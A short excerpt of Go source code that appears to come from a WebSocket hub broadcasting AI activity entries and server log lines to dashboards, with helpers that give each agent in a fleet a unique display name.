func (h *WSHub) BroadcastAIActivity(entry interface{}) { h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)}) } // agentDisplayName returns a display name that is unique per physical machine. // Hostname is preferred because it's machine-specific — many agents deployed from // the same binary would otherwise share the same baked-in worker name, making // a large fleet impossible to differentiate. func agentDisplayName(workerName, worker, hostname, agentID string) string { if hostname != "" { return hostname } // No hostname reported — make the worker name unique with a short agent ID suffix. base := workerName if base == "" { base = worker } if base == "" { base = "agent" } return base + "-" + shortAgentID(agentID) } func shortAgentID(id string) string { if len(id) >= 8 { return id[:8] } if id == "" { return "agent" } return id } // BroadcastServerLog streams a server log line to connected dashboards. func (h *WSHub) BroadcastServerLog(line string) { line = strings.TrimSpace(line) if line == "" { return } h.broadcastDashboard(Message{ Type: "server_log", Payload: mustMarshal(map[string]string{"line": line}), }) }